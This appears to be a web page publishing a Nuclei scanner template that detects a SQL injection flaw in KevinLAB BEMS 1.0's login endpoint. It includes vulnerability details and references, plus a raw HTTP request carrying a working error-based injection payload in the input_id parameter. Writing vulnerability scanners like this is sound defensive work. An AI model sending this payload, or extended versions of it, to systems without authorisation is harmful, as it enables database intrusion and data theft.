KevinLAB BEMS 1.0 - SQL Injection

ID: kevinlab-bems-sqli

Severity: critical

Author: gy741

Tags: kevinlab,sqli,edb,packetstorm

Description

KevinLAB BEMS 1.0 contains a SQL injection vulnerability. Input passed through input_id POST parameter in /http/index.php is not properly sanitized before being returned to the user or used in SQL queries. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.

YAML Source

id: kevinlab-bems-sqli

info:
  name: KevinLAB BEMS 1.0 - SQL Injection
  author: gy741
  severity: critical
  description: KevinLAB BEMS 1.0 contains a SQL injection vulnerability. Input passed through input_id POST parameter in /http/index.php is not properly sanitized before being returned to the user or used in SQL queries. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5655.php
    - https://www.exploit-db.com/exploits/50146
    - https://packetstormsecurity.com/files/163572/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-89
  metadata:
    max-request: 1
  tags: kevinlab,sqli,edb,packetstorm

http:
  - raw:
      - |
        POST /http/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Accept-Encoding: gzip, deflate

        requester=login&request=login&params=[{"name":"input_id","value":"USERNAME' AND EXTRACTVALUE(1337,CONCAT(0x5C,0x5A534C,(SELECT (ELT(1337=1337,1))),0x5A534C)) AND 'joxy'='joxy"},{"name":"input_passwd","value":"PASSWORD"},{"name":"device_id","value":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"},{"name":"checked","value":false},{"name":"login_key","value":""}]

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "XPATH syntax error"
          - ": '\\ZSL1ZSL'"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402207e39f160bc7fb18c07cfd8c31e24095f9fe41fa391e33d590212e42228f81d2302202ff561fe6b85c574f69699fa5342d05cec98952ac603275a253629eeacfae13f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/kevinlab-bems-sqli.yaml"

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